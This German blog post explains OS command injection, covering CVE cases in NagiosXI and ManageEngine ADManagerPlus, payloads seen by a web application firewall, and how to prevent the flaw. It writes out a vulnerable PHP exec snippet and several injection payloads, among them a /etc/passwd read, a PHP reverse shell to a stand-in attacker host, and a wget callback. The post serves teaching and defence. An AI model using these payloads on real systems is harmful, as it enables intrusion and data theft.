Back to Basics: OS Command Injection
Back to Basics: Vorwort
Dies ist der erste Teil einer Blogpost-Reihe, in der wir verschiedenen Arten von Schwachstellen und Angriffen auf Webanwendungen auf den Grund gehen. In jedem Post liefern wir eine ausführliche Beschreibung der jeweiligen Schwachstelle, zeigen, wie sie ausgenutzt wird, geben Beispiele aus der Praxis und erklären, wie man sie verhindern kann.
Was ist OS Command Injection?
OS Command Injection ist eine Schwachstelle bei Webanwendungen, die es Angreifern ermöglicht, beliebige Befehle auf dem zugrunde liegenden Betriebssystem auszuführen. Solche Schwachstellen treten auf, wenn Webanwendungen Betriebssystembefehle mit vom Nutzer bereitgestellten Eingaben als Argumente aufrufen.
Stellen Sie sich eine Webanwendung vor, die interne Systeme überwachen und Warnungen ausgeben soll, wenn eines der Systeme offline geht. In diesem Szenario möchte die Anwendung möglicherweise die Netzwerkerreichbarkeit des Ziels testen und führt zu diesem Zweck einen Ping-Befehl aus. Wenn die Anwendung in PHP geschrieben ist, könnte der zugrunde liegende Code etwa wie folgt aussehen:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
Die „exec“-Funktion von PHP führt den Ping-Befehl mit dem am Ende als Ziel angehängten, vom Nutzer bereitgestellten Wert für „ip_address“ aus. Gibt ein Nutzer jedoch localhost; cat /etc/passwd
als IP-Adresse an, werden sowohl der Ping-Befehl als auch der zweite Befehl, der nach dem Semikolon beginnt, ausgeführt. Ab diesem Moment kann ein Angreifer eine beliebige Anzahl an bösartigen Befehlen ausführen, um zu versuchen, erweiterte Zugriffsrechte zu erlangen, vertrauliche Informationen abzurufen, die Persistenz aufrechtzuerhalten oder auf andere Ziele im Netzwerk zuzugreifen. Aufgrund ihrer oft verheerenden Auswirkungen werden Command-Injection-Schwachstellen meist als schwerwiegender eingestuft als andere Schwachstellen bei Webanwendungen.
Was ist nicht OS Command Injection?
Command Injection wird oft mit anderen Injection-Angriffen verwechselt, vorrangig mit Code Injection. Am einfachsten lassen sich diese beiden Schwachstellen anhand der Methode und des Kontexts der Payload-Ausführung unterscheiden:
Bei Command Injection erfolgt die Ausführung insbesondere im Zusammenhang mit den Shell-Programmen des zugrunde liegenden Betriebssystems (z. B. Bash), wobei ein externes Programm in den Call eingeschleust wird.
Bei Code Injection erfolgt die Ausführung im Kontext der verwendeten Programmiersprache. Ein Beispiel dafür wäre das Einschleusen von Code in die „include“- oder „eval“-Funktion von PHP, damit beliebiger PHP-Code ausgeführt werden kann.
Gelegentlich kommt es zur Verwechslung, wenn eine Command Injection Payload Code aus Programmiersprachen wie PHP enthält. Betrachten wir zum Beispiel die folgende Command Injection Payload aus unserem vorherigen Beispiel, durch die eine Reverse Shell gestartet wird:
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Da die Payload hauptsächlich PHP-Code enthält, könnte man sie auf den ersten Blick mit einem Code-Injection-Angriff verwechseln. Der vordere Teil der Payload verrät uns allerdings, dass es sich dabei tatsächlich um Command Injection handelt. Das Semikolon beendet den aktuellen Bash-Befehl „ping“, bevor der PHP-Befehl ausgeführt wird. „php -r“ gibt an, dass der folgende PHP-Code in der Command Line ausgeführt wird, wobei es sich in diesem Fall um eine Reverse Shell handelt, die zurück zur IP-Adresse des Angreifers verweist. Auch wenn in unserer Payload also PHP-Code ausgeführt wird, liegt hier OS Command Injection vor, weil wir Code in die Argumente des Shell-Programms des Betriebssystems einschleusen.
Praxisbeispiele für OS Command Injection
OS Command Injection in NagiosXI: CVE-2021-25296(7,8)
Wie bereits in einem früheren Blogpost erläutert, waren die NagiosXI Versionen 5.5.6 bis 5.7.5 von drei verschiedenen Command-Injection-Angriffen betroffen. Unser vorheriges Ping-Beispiel orientiert sich übrigens grob an CVE-2021-25298, wo die Command-Injection-Schwachstelle in einem Ping-Aufruf über die PHP-Funktion „exec“ mit einer vom Nutzer angegebenen IP-Adresse lag. Das Common Vulnerability Scoring System (CVSS) ist zwar bei Weitem nicht perfekt, aber ein Score von 8,8/10 weist auf einen hohen Schweregrad der Schwachstelle hin. In unserem Blogpost demonstrieren wir ganz anschaulich, wie diese Schwachstellen ausgenutzt werden, indem wir sowohl Meterpreter Remote Shells als auch Callbacks zu „interactsh“ von Project Discovery starten. Wie auch die US-amerikanische Cybersecurity & Infrastructure Security Agency (CISA) anmerkt, werden diese CVEs von Angreifern aktiv ausgenutzt, was ein Hinweis auf die potenzielle Gefahr für Systeme ist.
OS Command Injection in ManageEngine ADManagerPlus: CVE-2023-29084
Diese spezifische Command-Injection-Schwachstelle ist ein gutes Beispiel dafür, wie man Command Injection nicht verhindern sollte. Dinh Hoang beschreibt diese Schwachstelle in einem wunderbaren Artikel – insbesondere, dass ADManagerPlus eine CommonUtil.getPowerShellEscapedValue
-Funktion verwendet, um vom Nutzer für einen „reg add“-Befehl angegebene Zugangsdaten zu umgehen. Bei dieser Funktion werden CRLF-Zeichen allerdings nicht entschlüsselt, sodass die folgende Payload, die „calc“ startet, als Passwort eingefügt werden kann: [any-content]\r\ncalc.exe
. Wie wir später noch sehen werden, können bei dieser Art der Neutralisierung von Eingaben nicht nur Fehler auftreten, sondern sich auch neue Umgehungsmöglichkeiten auftun oder Metazeichen übersehen werden, was eine künftige Command Injection zur Folge haben können.
OS Command Injection und WAFs
Die Fastly Next-Gen WAF schützt vor gängigen Command-Injection-Angriffen. Die Untersuchung einiger Command Injection Payloads, die wir beobachtet haben, zeigt uns, was Angreifer wirklich senden, um OS-Command-Injection-Schwachstellen aufzuspüren.
Payload-Beispiel 1: „sleep“-Ping in POST-Anfragedaten
language=&ping -c 25 127.0.0.1 &
Bei dieser Payload handelt es sich um einen einfachen Command-Injection-Versuch in das Feld „language“. Außerdem wird hier eine blinde Command-Injection-Methode verwendet. Oder anders ausgedrückt: Die Erkennung der Command Injection ist nicht davon abhängig, dass Output von einem Befehl abgerufen wird. Die Payload verwendet das Metazeichen „&“, um den zweiten Befehl auszuführen, während der erste Befehl im Hintergrund ausgeführt wird, und enthält den Befehl „ping“ mit dem Flag „-c“, der „ping“ anweist, 25 Pakete zu senden – eines pro Sekunde. Durch die Analyse des Antwortzeitpunkts können Angreifer feststellen, ob ihr eingeschleuster Befehl ausgeführt wurde. Diese Methode kann allerdings auch fehlschlagen, wenn die betroffene Anwendung nicht wartet, bis der ausgeführte Befehl abgeschlossen ist, bevor sie eine HTTP-Antwort sendet. Sehen wir uns also als Zweites ein interessantes Beispiel für eine blinde Command Injection an, bei dem diese Einschränkung nicht besteht.
Payload-Beispiel 2: „Wget“ in POST-Anfragedaten
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
Diese Payload wird in das Feld „macAddress“ eingeschleust und enthält zwei Metazeichen, die die Command Injection unterstützen. Das Semikolon markiert das Ende des ersten Befehls, sodass der Befehl des Angreifers gestartet werden kann. Am Ende der eingeschleusten Payload verwendet der Angreifer das Metazeichen „#“, um alle folgenden Daten auszukommentieren. Dies ist nützlich, wenn das einzuschleusende Argument nicht das letzte Argument des Befehls ist, da alle nachfolgenden Argumente als Teil des Kommentars gelten und damit ignoriert werden.
Der Kern dieser Payload liegt im Befehl „wget“, der eine Subdomain von oast.site – eine der von „interactsh“ von Project Discovery verwendeten Standard-Callback-Domains – ansteuert. OAST steht für „Out-of-Band Application Security Testing“, das von „interactsh“ durch die Verwendung eindeutiger Subdomains und Payloads unterstützt wird, um festzustellen, ob ein gezielter Angriff erfolgreich war. Wie wir bereits in der Vergangenheit festgestellt haben, gibt es aber auch zahlreiche weitere Domains, die „interactsh“ und andere Tools nutzen, um ähnliche Tests zu ermöglichen.
Wie sich OS Command Injection vermeiden lässt
Es gibt verschiedene Möglichkeiten, OS Command Injection zu verhindern. Sie unterscheiden sich in ihrer Wirksamkeit und ihren Nachteilen.
Ideallösung
Rufen Sie niemals Betriebssystembefehle aus dem Anwendungscode auf. So geben Sie OS-Command-Injection-Schwachstellen keine Chance, da die eingeschleusten Befehle an sich entfernt werden. Wählen Sie notfalls alternative Wege zum Ziel.
Alternativlösung
Wenn sich Betriebssystembefehle in Ihrer Umgebung nicht entfernen lassen, ist eine starke Eingabevalidierung erforderlich, um OS-Command-Injection-Schwachstellen vorzubeugen. Eine starke Eingabevalidierung ist nicht dasselbe wie die Neutralisierung von Eingaben. Bei der Eingabevalidierung muss sichergestellt werden, dass die Nutzereingabe ausschließlich Werte enthält, die von der Anwendung sicher an die Betriebssystembefehle weitergegeben werden können. Hier einige Beispiele für eine starke Eingabevalidierung:
Überprüfung, ob die Eingabe in einer Liste zulässiger Werte enthalten ist
Überprüfung, ob die Eingabe vom richtigen Typ ist (zum Beispiel eine Ganzzahl oder eine IP-Adresse)
Überprüfung, ob die Eingabe nur alphanumerische Werte enthält
Nicht empfohlen
Wenn keine dieser Optionen möglich ist, sollte die Neutralisierung von Nutzereingaben durch das Escapen von Shell-Metazeichen (z. B. „&„ oder „;“) der letzte Ausweg sein. Eine korrekte Durchführung dieser Neutralisierung ist allerdings schwierig, da es viele Möglichkeiten gibt, wie Metazeichen dargestellt und von etwaigen Betriebssystemen interpretiert und wie die Neutralisierungsmethoden umgangen werden können. CVE-2023-29084 zeigt die möglichen Nachteile dieser Methode auf, da ein fehlendes Metazeichen (CRLF) zu einer erfolgreichen Command Injection führte. Selbst wenn die Neutralisierung oft vor offensichtlichen OS-Command-Injection-Payloads schützt, ist sie aufgrund der Komplikationen rund um die korrekte Implementierung sowie der denkbaren Umgehungsmöglichkeiten keine umfassende Lösung.
Quellen und weitere Ressourcen
Weitere Ressourcen:
CWE-77 Command Injection
CWE-78 OS Command Injection
OWASP Command Injection
Portswigger Web Security Academy – Materialien und Labs
Beispiele:
OS Command Injection in NagiosXI (CVE-2021-25296, CVE-2021-25297, CVE-2021-25298)
OS Command Injection in ManageEngine AD Manager Plus (CVE-2023-29084)